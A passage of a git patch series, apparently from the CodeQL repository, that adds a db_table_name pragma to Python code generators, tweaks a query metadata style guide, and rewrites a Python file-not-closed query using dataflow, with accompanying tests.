_ParametrizedPragma(_ParametrizedClassPragma): - """ A class or property parametrized pragma. +class _Parametrized[P, **Q, T]: + """ A parametrized pragma. Needs to be applied to a parameter to give a pragma. """ - _pragma_class: _ClassVar[type] = _Pragma - def __invert__(self) -> _Pragma: - return _Pragma(self.pragma, remove=True) + def __init__(self, pragma_instance: P, factory: _Callable[Q, T]): + self.pragma_instance = pragma_instance + self.factory = factory + self.__signature__ = _inspect.signature(self.factory).replace(return_annotation=type(self.pragma_instance)) + + @property + def pragma(self): + return self.pragma_instance.pragma + + @pragma.setter + def pragma(self, value): + self.pragma_instance.pragma = value + + def __invert__(self) -> "_Parametrized[P, Q, T]": + return _Parametrized(~self.pragma_instance, factory=self.factory) + + def __call__(self, *args: Q.args, **kwargs: Q.kwargs) -> T: + ret = _deepcopy(self.pragma_instance) + ret.value = self.factory(*args, **kwargs) + return ret class _Optionalizer(_schema.PropertyModifier): @@ -232,30 +239,30 @@ desc = _DescModifier use_for_null = _ClassPragma("null") -qltest.add(_Pragma("skip")) +qltest.add(_ClassPragma("skip")) qltest.add(_ClassPragma("collapse_hierarchy")) qltest.add(_ClassPragma("uncollapse_hierarchy")) -qltest.add(_ParametrizedClassPragma("test_with", inherited=True, factory=_schema.get_type_name)) +qltest.add(_Parametrized(_ClassPragma("test_with", inherited=True), factory=_schema.get_type_name)) -ql.add(_ParametrizedClassPragma("default_doc_name", factory=lambda doc: doc)) +ql.add(_Parametrized(_ClassPragma("default_doc_name"), factory=lambda doc: doc)) ql.add(_ClassPragma("hideable", inherited=True)) ql.add(_Pragma("internal")) -ql.add(_ParametrizedPragma("name", factory=lambda name: name)) +ql.add(_Parametrized(_Pragma("name"), factory=lambda name: name)) cpp.add(_Pragma("skip")) -rust.add(_Pragma("detach")) +rust.add(_PropertyPragma("detach")) rust.add(_Pragma("skip_doc_test")) -rust.add(_ParametrizedClassPragma("doc_test_signature", factory=lambda signature: signature)) +rust.add(_Parametrized(_ClassPragma("doc_test_signature"), factory=lambda signature: signature)) -group = _ParametrizedClassPragma("group", inherited=True, factory=lambda group: group) +group = _Parametrized(_ClassPragma("group", inherited=True), factory=lambda group: group) -synth.add(_ParametrizedClassPragma("from_class", factory=lambda ref: _schema.SynthInfo( +synth.add(_Parametrized(_ClassPragma("from_class"), factory=lambda ref: _schema.SynthInfo( from_class=_schema.get_type_name(ref))), key="synth") -synth.add(_ParametrizedClassPragma("on_arguments", factory=lambda **kwargs: - _schema.SynthInfo(on_arguments={k: _schema.get_type_name(t) for k, t in kwargs.items()})), key="synth") +synth.add(_Parametrized(_ClassPragma("on_arguments"), factory=lambda **kwargs: + _schema.SynthInfo(on_arguments={k: _schema.get_type_name(t) for k, t in kwargs.items()})), key="synth") @_dataclass(frozen=True) diff --git a/misc/codegen/test/test_dbschemegen.py b/misc/codegen/test/test_dbschemegen.py index 5d0e5049f0b..5b1bd7e73dc 100644 --- a/misc/codegen/test/test_dbschemegen.py +++ b/misc/codegen/test/test_dbschemegen.py @@ -593,13 +593,13 @@ def test_synth_properties_ignored(generate): ) -def test_table_conflict(generate, dir_param): +def test_table_conflict(generate): with pytest.raises(dbschemegen.Error): generate([ - schema.Class("Foo", pragmas={"group": dir_param.input}, properties=[ + schema.Class("Foo", properties=[ schema.OptionalProperty("bar", "FooBar"), ]), - schema.Class("FooBar", pragmas={"group": dir_param.input}), + schema.Class("FooBar"), ]) diff --git a/misc/codegen/test/test_schemaloader.py b/misc/codegen/test/test_schemaloader.py index 6c6fccfb3ea..1c8bfba271b 100644 --- a/misc/codegen/test/test_schemaloader.py +++ b/misc/codegen/test/test_schemaloader.py @@ -272,10 +272,10 @@ def test_builtin_predicate_and_set_children_not_allowed(spec): _class_pragmas = [ (defs.qltest.collapse_hierarchy, "qltest_collapse_hierarchy"), (defs.qltest.uncollapse_hierarchy, "qltest_uncollapse_hierarchy"), + (defs.qltest.skip, "qltest_skip"), ] _property_pragmas = [ - (defs.qltest.skip, "qltest_skip"), (defs.cpp.skip, "cpp_skip"), (defs.ql.internal, "ql_internal"), ] @@ -646,6 +646,17 @@ def test_class_default_doc_name(): } +def test_db_table_name(): + @load + class data: + class A: + x: optional[int] | defs.ql.db_table_name("foo") + + assert data.classes == { + 'A': schema.Class('A', properties=[schema.OptionalProperty("x", "int", pragmas={"ql_db_table_name": "foo"})]), + } + + def test_null_class(): @load class data: @@ -838,7 +849,7 @@ def test_annotate_fields_negations(): @load class data: class Root: - x: defs.int | defs.ql.internal | defs.qltest.skip + x: defs.int | defs.ql.internal y: defs.optional["Root"] | defs.child | defs.desc("foo\nbar\n") z: defs.string | defs.synth | defs.doc("foo") @@ -850,7 +861,7 @@ def test_annotate_fields_negations(): assert data.classes == { "Root": schema.Class("Root", properties=[ - schema.SingleProperty("x", "int", pragmas=["qltest_skip"]), + schema.SingleProperty("x", "int"), schema.OptionalProperty("y", "Root"), schema.SingleProperty("z", "string"), ]), From fc9e066ecd9333c686467a53f5200fb37876e019 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 14:32:39 +0100 Subject: [PATCH 024/282] Codegen: implement `db_table_name` in `dbschemegen` --- misc/codegen/generators/dbschemegen.py | 12 +++-- misc/codegen/lib/schemadefs.py | 1 + misc/codegen/test/test_dbschemegen.py | 63 ++++++++++++++++++++++++++ 3 files changed, 71 insertions(+), 5 deletions(-) diff --git a/misc/codegen/generators/dbschemegen.py b/misc/codegen/generators/dbschemegen.py index 8266eb5be0f..f861972cdd6 100755 --- a/misc/codegen/generators/dbschemegen.py +++ b/misc/codegen/generators/dbschemegen.py @@ -69,11 +69,12 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a ) # use property-specific tables for 1-to-many and 1-to-at-most-1 properties for f in cls.properties: + overridden_table_name = f.pragmas.get("ql_db_table_name") if f.synth: continue if f.is_unordered: yield Table( - name=inflection.tableize(f"{cls.name}_{f.name}"), + name=overridden_table_name or inflection.tableize(f"{cls.name}_{f.name}"), columns=[ Column("id", type=dbtype(cls.name)), Column(inflection.singularize(f.name), dbtype(f.type, add_or_none_except)), @@ -83,7 +84,7 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a elif f.is_repeated: yield Table( keyset=KeySet(["id", "index"]), - name=inflection.tableize(f"{cls.name}_{f.name}"), + name=overridden_table_name or inflection.tableize(f"{cls.name}_{f.name}"), columns=[ Column("id", type=dbtype(cls.name)), Column("index", type="int"), @@ -94,7 +95,7 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a elif f.is_optional: yield Table( keyset=KeySet(["id"]), - name=inflection.tableize(f"{cls.name}_{f.name}"), + name=overridden_table_name or inflection.tableize(f"{cls.name}_{f.name}"), columns=[ Column("id", type=dbtype(cls.name)), Column(f.name, dbtype(f.type, add_or_none_except)), @@ -104,7 +105,7 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a elif f.is_predicate: yield Table( keyset=KeySet(["id"]), - name=inflection.underscore(f"{cls.name}_{f.name}"), + name=overridden_table_name or inflection.underscore(f"{cls.name}_{f.name}"), columns=[ Column("id", type=dbtype(cls.name)), ], @@ -118,7 +119,8 @@ def check_name_conflicts(decls: list[Table | Union]): match decl: case Table(name=name): if name in names: - raise Error(f"Duplicate table name: {name}") + raise Error(f"Duplicate table name: { + name}, you can use `@ql.db_table_name` on a property to resolve this") names.add(name) diff --git a/misc/codegen/lib/schemadefs.py b/misc/codegen/lib/schemadefs.py index dc8bd2aab4d..b0cf2b038a8 100644 --- a/misc/codegen/lib/schemadefs.py +++ b/misc/codegen/lib/schemadefs.py @@ -248,6 +248,7 @@ ql.add(_Parametrized(_ClassPragma("default_doc_name"), factory=lambda doc: doc)) ql.add(_ClassPragma("hideable", inherited=True)) ql.add(_Pragma("internal")) ql.add(_Parametrized(_Pragma("name"), factory=lambda name: name)) +ql.add(_Parametrized(_PropertyPragma("db_table_name"), factory=lambda name: name)) cpp.add(_Pragma("skip")) diff --git a/misc/codegen/test/test_dbschemegen.py b/misc/codegen/test/test_dbschemegen.py index 5b1bd7e73dc..653ad7fc8a3 100644 --- a/misc/codegen/test/test_dbschemegen.py +++ b/misc/codegen/test/test_dbschemegen.py @@ -603,5 +603,68 @@ def test_table_conflict(generate): ]) +def test_table_name_overrides(generate): + assert generate([ + schema.Class("Obj", properties=[ + schema.OptionalProperty("x", "a", pragmas={"ql_db_table_name": "foo"}), + schema.RepeatedProperty("y", "b", pragmas={"ql_db_table_name": "bar"}), + schema.RepeatedOptionalProperty("z", "c", pragmas={"ql_db_table_name": "baz"}), + schema.PredicateProperty("p", pragmas={"ql_db_table_name": "hello"}), + schema.RepeatedUnorderedProperty("q", "d", pragmas={"ql_db_table_name": "world"}), + ]), + ]) == dbscheme.Scheme( + src=schema_file.name, + includes=[], + declarations=[ + dbscheme.Table( + name="objs", + columns=[ + dbscheme.Column("id", "@obj", binding=True), + ], + ), + dbscheme.Table( + name="foo", + keyset=dbscheme.KeySet(["id"]), + columns=[ + dbscheme.Column("id", "@obj"), + dbscheme.Column("x", "a"), + ], + ), + dbscheme.Table( + name="bar", + keyset=dbscheme.KeySet(["id", "index"]), + columns=[ + dbscheme.Column("id", "@obj"), + dbscheme.Column("index", "int"), + dbscheme.Column("y", "b"), + ], + ), + dbscheme.Table( + name="baz", + keyset=dbscheme.KeySet(["id", "index"]), + columns=[ + dbscheme.Column("id", "@obj"), + dbscheme.Column("index", "int"), + dbscheme.Column("z", "c"), + ], + ), + dbscheme.Table( + name="hello", + keyset=dbscheme.KeySet(["id"]), + columns=[ + dbscheme.Column("id", "@obj"), + ], + ), + dbscheme.Table( + name="world", + columns=[ + dbscheme.Column("id", "@obj"), + dbscheme.Column("q", "d"), + ], + ), + ], + ) + + if __name__ == '__main__': sys.exit(pytest.main([__file__] + sys.argv[1:])) From f48aa79927b2eaa7686696f4f8cf38e69bf0eccd Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 14:50:44 +0100 Subject: [PATCH 025/282] Codegen: implement `db_table_name` in `qlgen` --- misc/codegen/generators/qlgen.py | 9 ++++++--- misc/codegen/test/test_qlgen.py | 33 ++++++++++++++++++++++++++++++++ 2 files changed, 39 insertions(+), 3 deletions(-) diff --git a/misc/codegen/generators/qlgen.py b/misc/codegen/generators/qlgen.py index 5cdc16a8af5..eefcad3e943 100755 --- a/misc/codegen/generators/qlgen.py +++ b/misc/codegen/generators/qlgen.py @@ -130,6 +130,9 @@ def get_ql_property(cls: schema.Class, prop: schema.Property, lookup: typing.Dic internal="ql_internal" in prop.pragmas, ) ql_name = prop.pragmas.get("ql_name", prop.name) + db_table_name = prop.pragmas.get("ql_db_table_name") + if db_table_name and prop.is_single: + raise Error(f"`db_table_name` pragma is not supported for single properties, but {cls.name}.{prop.name} has it") if prop.is_single: args.update( singular=inflection.camelize(ql_name), @@ -141,7 +144,7 @@ def get_ql_property(cls: schema.Class, prop: schema.Property, lookup: typing.Dic args.update( singular=inflection.singularize(inflection.camelize(ql_name)), plural=inflection.pluralize(inflection.camelize(ql_name)), - tablename=inflection.tableize(f"{cls.name}_{prop.name}"), + tablename=db_table_name or inflection.tableize(f"{cls.name}_{prop.name}"), tableparams=["this", "index", "result"] if not prop.is_unordered else ["this", "result"], doc=_get_doc(cls, prop, plural=False), doc_plural=_get_doc(cls, prop, plural=True), @@ -149,14 +152,14 @@ def get_ql_property(cls: schema.Class, prop: schema.Property, lookup: typing.Dic elif prop.is_optional: args.update( singular=inflection.camelize(ql_name), - tablename=inflection.tableize(f"{cls.name}_{prop.name}"), + tablename=db_table_name or inflection.tableize(f"{cls.name}_{prop.name}"), tableparams=["this", "result"], doc=_get_doc(cls, prop), ) elif prop.is_predicate: args.update( singular=inflection.camelize(ql_name, uppercase_first_letter=False), - tablename=inflection.underscore(f"{cls.name}_{prop.name}"), + tablename=db_table_name or inflection.underscore(f"{cls.name}_{prop.name}"), tableparams=["this"], doc=_get_doc(cls, prop), ) diff --git a/misc/codegen/test/test_qlgen.py b/misc/codegen/test/test_qlgen.py index 431f25d5aae..01dee251999 100644 --- a/misc/codegen/test/test_qlgen.py +++ b/misc/codegen/test/test_qlgen.py @@ -1013,5 +1013,38 @@ def test_hideable_property(generate_classes): } +def test_property_with_custom_db_table_name(generate_classes): + assert generate_classes([ + schema.Class("Obj", properties=[ + schema.OptionalProperty("x", "a", pragmas={"ql_db_table_name": "foo"}), + schema.RepeatedProperty("y", "b", pragmas={"ql_db_table_name": "bar"}), + schema.RepeatedOptionalProperty("z", "c", pragmas={"ql_db_table_name": "baz"}), + schema.PredicateProperty("p", pragmas={"ql_db_table_name": "hello"}), + schema.RepeatedUnorderedProperty("q", "d", pragmas={"ql_db_table_name": "world"}), + ]), + ]) == { + "Obj.qll": (a_ql_class_public(name="Obj"), + a_ql_stub(name="Obj"), + a_ql_class(name="Obj", final=True, properties=[ + ql.Property(singular="X", type="a", tablename="foo", + tableparams=["this", "result"], + is_optional=True, doc="x of this obj"), + ql.Property(singular="Y", plural="Ys", type="b", tablename="bar", + tableparams=["this", "index", "result"], + doc="y of this obj", doc_plural="ys of this obj"), + ql.Property(singular="Z", plural="Zs", type="c", tablename="baz", + tableparams=["this", "index", "result"], + is_optional=True, doc="z of this obj", doc_plural="zs of this obj"), + ql.Property(singular="p", type="predicate", tablename="hello", + tableparams=["this"], is_predicate=True, + doc="this obj p"), + ql.Property(singular="Q", plural="Qs", type="d", tablename="world", + tableparams=["this", "result"], is_unordered=True, + doc="q of this obj", doc_plural="qs of this obj"), + ], + imports=[stub_import_prefix + "Obj"])), + } + + if __name__ == '__main__': sys.exit(pytest.main([__file__] + sys.argv[1:])) From 9639d6c8bb880e59f480ad3b03be6ef9d0579723 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 15:03:04 +0100 Subject: [PATCH 026/282] Codegen: implement `db_table_name` in `rustgen` --- misc/codegen/generators/rustgen.py | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/misc/codegen/generators/rustgen.py b/misc/codegen/generators/rustgen.py index b47e5cc4bd9..49f05023141 100644 --- a/misc/codegen/generators/rustgen.py +++ b/misc/codegen/generators/rustgen.py @@ -27,14 +27,20 @@ def _get_type(t: str) -> str: return t +def _get_table_name(cls: schema.Class, p: schema.Property) -> str: + if p.is_single: + return inflection.tableize(cls.name) + overridden_table_name = p.pragmas.get("ql_db_table_name") + if overridden_table_name: + return overridden_table_name + table_name = f"{cls.name}_{p.name}" + if p.is_predicate: + return inflection.underscore(table_name) + else: + return inflection.tableize(table_name) + + def _get_field(cls: schema.Class, p: schema.Property) -> rust.Field: - table_name = inflection.tableize(cls.name) - if not p.is_single: - table_name = f"{cls.name}_{p.name}" - if p.is_predicate: - table_name = inflection.underscore(table_name) - else: - table_name = inflection.tableize(table_name) args = dict( field_name=rust.avoid_keywords(p.name), base_type=_get_type(p.type), @@ -42,7 +48,7 @@ def _get_field(cls: schema.Class, p: schema.Property) -> rust.Field: is_repeated=p.is_repeated, is_predicate=p.is_predicate, is_unordered=p.is_unordered, - table_name=table_name, + table_name=_get_table_name(cls, p), ) args.update(rust.get_field_override(p.name)) return rust.Field(**args) From 7c8eb9ea0dee234f84290fe04c7e1ae929cc0c51 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 19 Mar 2025 15:10:57 +0100 Subject: [PATCH 027/282] Codegen: implement `db_table_name` in `cppgen` --- misc/codegen/generators/cppgen.py | 19 +++++++++++++------ misc/codegen/test/test_cppgen.py | 20 ++++++++++++++++++++ 2 files changed, 33 insertions(+), 6 deletions(-) diff --git a/misc/codegen/generators/cppgen.py b/misc/codegen/generators/cppgen.py index de53b771d35..1a9a64663c1 100644 --- a/misc/codegen/generators/cppgen.py +++ b/misc/codegen/generators/cppgen.py @@ -37,12 +37,19 @@ def _get_type(t: str, add_or_none_except: typing.Optional[str] = None) -> str: return t +def _get_trap_name(cls: schema.Class, p: schema.Property) -> str | None: + if p.is_single: + return None + overridden_trap_name = p.pragmas.get("ql_db_table_name") + if overridden_trap_name: + return inflection.camelize(overridden_trap_name) + trap_name = inflection.camelize(f"{cls.name}_{p.name}") + if p.is_predicate: + return trap_name + return inflection.pluralize(trap_name) + + def _get_field(cls: schema.Class, p: schema.Property, add_or_none_except: typing.Optional[str] = None) -> cpp.Field: - trap_name = None - if not p.is_single: - trap_name = inflection.camelize(f"{cls.name}_{p.name}") - if not p.is_predicate: - trap_name = inflection.pluralize(trap_name) args = dict( field_name=p.name + ("_" if p.name in cpp.cpp_keywords else ""), base_type=_get_type(p.type, add_or_none_except), @@ -50,7 +57,7 @@ def _get_field(cls: schema.Class, p: schema.Property, add_or_none_except: typing is_repeated=p.is_repeated, is_predicate=p.is_predicate, is_unordered=p.is_unordered, - trap_name=trap_name, + trap_name=_get_trap_name(cls, p), ) args.update(cpp.get_field_override(p.name)) return cpp.Field(**args) diff --git a/misc/codegen/test/test_cppgen.py b/misc/codegen/test/test_cppgen.py index fea9be2037f..06394032241 100644 --- a/misc/codegen/test/test_cppgen.py +++ b/misc/codegen/test/test_cppgen.py @@ -225,5 +225,25 @@ def test_synth_properties_ignored(generate): ] +def test_properties_with_custom_db_table_names(generate): + assert generate([ + schema.Class("Obj", properties=[ + schema.OptionalProperty("x", "a", pragmas={"ql_db_table_name": "foo"}), + schema.RepeatedProperty("y", "b", pragmas={"ql_db_table_name": "bar"}), + schema.RepeatedOptionalProperty("z", "c", pragmas={"ql_db_table_name": "baz"}), + schema.PredicateProperty("p", pragmas={"ql_db_table_name": "hello"}), + schema.RepeatedUnorderedProperty("q", "d", pragmas={"ql_db_table_name": "world"}), + ]), + ]) == [ + cpp.Class(name="Obj", final=True, trap_name="Objs", fields=[ + cpp.Field("x", "a", is_optional=True, trap_name="Foo"), + cpp.Field("y", "b", is_repeated=True, trap_name="Bar"), + cpp.Field("z", "c", is_repeated=True, is_optional=True, trap_name="Baz"), + cpp.Field("p", "bool", is_predicate=True, trap_name="Hello"), + cpp.Field("q", "d", is_repeated=True, is_unordered=True, trap_name="World"), + ]), + ] + + if __name__ == '__main__': sys.exit(pytest.main([__file__] + sys.argv[1:])) From 14d178f81773c21c62d428af41607f45b5dd5882 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Wed, 19 Mar 2025 16:56:37 -0500 Subject: [PATCH 028/282] Update query-metadata-style-guide.md minor tag changes to align with existing tags --- docs/query-metadata-style-guide.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index a13ad200a9a..b51f6fea5a0 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -153,7 +153,7 @@ We'll use two "top-level" categories of quality queries, with sub-categories ben * `@tags maintainability`–for queries that detect patterns that make it harder for developers to make changes to the code. * `@tags readability`–for queries that detect confusing patterns that make it harder for developers to read the code. - * `@tags unused-code`-for queries that detect functions that are never used and other instances of unused code + * `@tags useless-code`-for queries that detect functions that are never used and other instances of unused code * `@tags complexity`-for queries that detect patterns in the code that lead to unnecesary complexity such as unclear control flow, or high cyclomatic complexity From f698d0a060b01adec18a57c2e9bfe1d952bf76e0 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Wed, 19 Mar 2025 16:58:30 -0500 Subject: [PATCH 029/282] Update query-metadata-style-guide.md --- docs/query-metadata-style-guide.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index b51f6fea5a0..4c3f5b8814f 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -121,7 +121,7 @@ Alert queries (`@kind problem` or `path-problem`) support two further properties ## Query tags `@tags` -The `@tags` property is used to define the high level category of problem that the query relates to. Each alert query should belong to one of the following two top-level categories, with additional sub-categories: +The `@tags` property is used to define the high level category of problem that the query relates to. Each alert query should belong to one of the following two top-level categories, with additional sub-categories: ### High level category `@tags` * `@tags security`–for queries that detect security weaknesses. See below for further information. @@ -173,6 +173,8 @@ There are also more specific `@tags` that can be added. See, the following pages * [JavaScript queries](https://codeql.github.com/codeql-query-help/javascript/) * [Python queries](https://codeql.github.com/codeql-query-help/python/) +> [!NOTE] +> There is a limit of 10 tags per query! ### Severities From 09694c448d65dfd0f3064f3597ff31b1abdadcb5 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Mon, 24 Feb 2025 05:19:32 +0000 Subject: [PATCH 030/282] Rewrite file not closed simple case using dataflow --- .../ql/src/Resources/FileNotAlwaysClosed.ql | 115 +++++++++--------- .../Resources/FileNotAlwaysClosedQuery.qll | 39 ++++++ 2 files changed, 97 insertions(+), 57 deletions(-) create mode 100644 python/ql/src/Resources/FileNotAlwaysClosedQuery.qll diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql index 5b5a869e62a..f0476499575 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.ql +++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql @@ -13,62 +13,63 @@ */ import python -import FileOpen - -/** - * Whether resource is opened and closed in in a matched pair of methods, - * either `__enter__` and `__exit__` or `__init__` and `__del__` - */ -predicate opened_in_enter_closed_in_exit(ControlFlowNode open) { - file_not_closed_at_scope_exit(open) and - exists(FunctionValue entry, FunctionValue exit | - open.getScope() = entry.getScope() and - exists(ClassValue cls | - cls.declaredAttribute("__enter__") = entry and cls.declaredAttribute("__exit__") = exit - or - cls.declaredAttribute("__init__") = entry and cls.declaredAttribute("__del__") = exit - ) and - exists(AttrNode attr_open, AttrNode attrclose | - attr_open.getScope() = entry.getScope() and - attrclose.getScope() = exit.getScope() and - expr_is_open(attr_open.(DefinitionNode).getValue(), open) and - attr_open.getName() = attrclose.getName() and - close_method_call(_, attrclose) - ) - ) -} - -predicate file_not_closed_at_scope_exit(ControlFlowNode open) { - exists(EssaVariable v | - BaseFlow::reaches_exit(v) and - var_is_open(v, open) and - not file_is_returned(v, open) - ) - or - call_to_open(open) and - not exists(AssignmentDefinition def | def.getValue() = open) and - not exists(Return r | r.getValue() = open.getNode()) -} - -predicate file_not_closed_at_exception_exit(ControlFlowNode open, ControlFlowNode exit) { - exists(EssaVariable v | - exit.(RaisingNode).viableExceptionalExit(_, _) and - not closes_arg(exit, v.getSourceVariable()) and - not close_method_call(exit, v.getAUse().(NameNode)) and - var_is_open(v, open) and - v.getAUse() = exit.getAChild*() - ) -} +// import FileOpen +import FileNotAlwaysClosedQuery +// /** +// * Whether resource is opened and closed in in a matched pair of methods, +// * either `__enter__` and `__exit__` or `__init__` and `__del__` +// */ +// predicate opened_in_enter_closed_in_exit(ControlFlowNode open) { +// file_not_closed_at_scope_exit(open) and +// exists(FunctionValue entry, FunctionValue exit | +// open.getScope() = entry.getScope() and +// exists(ClassValue cls | +// cls.declaredAttribute("__enter__") = entry and cls.declaredAttribute("__exit__") = exit +// or +// cls.declaredAttribute("__init__") = entry and cls.declaredAttribute("__del__") = exit +// ) and +// exists(AttrNode attr_open, AttrNode attrclose | +// attr_open.getScope() = entry.getScope() and +// attrclose.getScope() = exit.getScope() and +// expr_is_open(attr_open.(DefinitionNode).getValue(), open) and +// attr_open.getName() = attrclose.getName() and +// close_method_call(_, attrclose) +// ) +// ) +// } +// predicate file_not_closed_at_scope_exit(ControlFlowNode open) { +// exists(EssaVariable v | +// BaseFlow::reaches_exit(v) and +// var_is_open(v, open) and +// not file_is_returned(v, open) +// ) +// or +// call_to_open(open) and +// not exists(AssignmentDefinition def | def.getValue() = open) and +// not exists(Return r | r.getValue() = open.getNode()) +// } +// predicate file_not_closed_at_exception_exit(ControlFlowNode open, ControlFlowNode exit) { +// exists(EssaVariable v | +// exit.(RaisingNode).viableExceptionalExit(_, _) and +// not closes_arg(exit, v.getSourceVariable()) and +// not close_method_call(exit, v.getAUse().(NameNode)) and +// var_is_open(v, open) and +// v.getAUse() = exit.getAChild*() +// ) +// } /* Check to see if a file is opened but not closed or returned */ -from ControlFlowNode defn, string message -where - not opened_in_enter_closed_in_exit(defn) and - ( - file_not_closed_at_scope_exit(defn) and message = "File is opened but is not closed." - or - not file_not_closed_at_scope_exit(defn) and - file_not_closed_at_exception_exit(defn, _) and - message = "File may not be closed if an exception is raised." - ) -select defn.getNode(), message +// from ControlFlowNode defn, string message +// where +// not opened_in_enter_closed_in_exit(defn) and +// ( +// file_not_closed_at_scope_exit(defn) and message = "File is opened but is not closed." +// or +// not file_not_closed_at_scope_exit(defn) and +// file_not_closed_at_exception_exit(defn, _) and +// message = "File may not be closed if an exception is raised." +// ) +// select defn.getNode(), message +from FileOpen fo +where fileNotAlwaysClosed(fo) +select fo, "File is opened but is not closed." diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll new file mode 100644 index 00000000000..f75f61feea3 --- /dev/null +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -0,0 +1,39 @@ +/** Definitions for reasoning about whether files are closed. */ + +import python +//import semmle.python.dataflow.DataFlow +import semmle.python.ApiGraphs + +abstract class FileOpen extends DataFlow::CfgNode { } + +class FileOpenCall extends FileOpen { + FileOpenCall() { this = API::builtin("open").getACall() } +} + +// todo: type tracking to find wrapping funcs +abstract class FileClose extends DataFlow::CfgNode { } + +class FileCloseCall extends FileClose { + FileCloseCall() { exists(DataFlow::MethodCallNode mc | mc.calls(this, "close")) } +} + +class WithStatement extends FileClose { + WithStatement() { exists(With w | this.asExpr() = w.getContextExpr()) } +} + +predicate fileIsClosed(FileOpen fo) { exists(FileClose fc | DataFlow::localFlow(fo, fc)) } + +predicate fileIsReturned(FileOpen fo) { + exists(Return ret | DataFlow::localFlow(fo, DataFlow::exprNode(ret.getValue()))) +} + +predicate fileIsStoredInField(FileOpen fo) { + exists(DataFlow::AttrWrite aw | DataFlow::localFlow(fo, aw.getValue())) +} + +predicate fileNotAlwaysClosed(FileOpen fo) { + not fileIsClosed(fo) and + not fileIsReturned(fo) and + not fileIsStoredInField(fo) + // TODO: exception cases +} From ecb3050780341ddecc99d8ab4cab6a50bece2843 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Mon, 24 Feb 2025 05:28:52 +0000 Subject: [PATCH 031/282] Update tests --- .../query-tests/Resources/Dataflow.expected | 119 ------------------ .../ql/test/query-tests/Resources/Dataflow.ql | 14 --- .../Resources/FileNotAlwaysClosed.expected | 9 -- .../Resources/FileNotAlwaysClosed.qlref | 1 - .../resources_test.py | 24 ++-- .../FileNotAlwaysClosed/test.expected | 0 .../Resources/FileNotAlwaysClosed/test.ql | 21 ++++ 7 files changed, 33 insertions(+), 155 deletions(-) delete mode 100644 python/ql/test/query-tests/Resources/Dataflow.expected delete mode 100644 python/ql/test/query-tests/Resources/Dataflow.ql delete mode 100644 python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected delete mode 100644 python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref rename python/ql/test/query-tests/Resources/{ => FileNotAlwaysClosed}/resources_test.py (89%) create mode 100644 python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.expected create mode 100644 python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql diff --git a/python/ql/test/query-tests/Resources/Dataflow.expected b/python/ql/test/query-tests/Resources/Dataflow.expected deleted file mode 100644 index 18ac2157458..00000000000 --- a/python/ql/test/query-tests/Resources/Dataflow.expected +++ /dev/null @@ -1,119 +0,0 @@ -| f1_0 = open() | open | | -| f1_1 = MethodCallsiteRefinement(f1_0) | open | | -| f1_2 = MethodCallsiteRefinement(f1_1) | closed | exit | -| f2_0 = open() | open | exit | -| f3_0 = open() | open | | -| f3_1 = MethodCallsiteRefinement(f3_0) | closed | exit | -| f4_0 = with | closed | | -| f4_1 = MethodCallsiteRefinement(f4_0) | closed | exit | -| f5_0 = open() | open | | -| f5_1 = MethodCallsiteRefinement(f5_0) | open | | -| f5_2 = MethodCallsiteRefinement(f5_1) | closed | exit | -| f5_3 = phi(f5_0, f5_1) | open | | -| f6_0 = None | closed | | -| f6_1 = open() | open | | -| f6_2 = MethodCallsiteRefinement(f6_1) | open | | -| f6_3 = phi(f6_0, f6_1, f6_2) | open | | -| f6_4 = Pi(f6_2) [true] | open | | -| f6_5 = MethodCallsiteRefinement(f6_4) | closed | | -| f6_6 = Pi(f6_3) [true] | open | | -| f6_7 = Pi(f6_2) [false] | closed | | -| f6_8 = phi(f6_5, f6_7) | closed | exit | -| f7_0 = None | closed | | -| f7_1 = open() | open | | -| f7_2 = MethodCallsiteRefinement(f7_1) | open | | -| f7_3 = phi(f7_0, f7_1, f7_2) | open | | -| f7_4 = Pi(f7_2) [true] | open | | -| f7_5 = MethodCallsiteRefinement(f7_4) | closed | | -| f7_6 = Pi(f7_3) [true] | open | | -| f7_7 = Pi(f7_2) [false] | closed | | -| f7_8 = phi(f7_5, f7_7) | closed | exit | -| f8_0 = None | closed | | -| f8_1 = open() | open | | -| f8_2 = MethodCallsiteRefinement(f8_1) | open | | -| f8_3 = phi(f8_0, f8_1, f8_2) | open | | -| f8_4 = Pi(f8_2) [true] | closed | | -| f8_5 = MethodCallsiteRefinement(f8_4) | closed | | -| f8_6 = Pi(f8_3) [true] | closed | | -| f8_7 = Pi(f8_2) [false] | open | | -| f8_8 = phi(f8_5, f8_7) | open | exit | -| f9_0 = None | closed | | -| f9_1 = open() | open | | -| f9_2 = MethodCallsiteRefinement(f9_1) | open | | -| f9_3 = 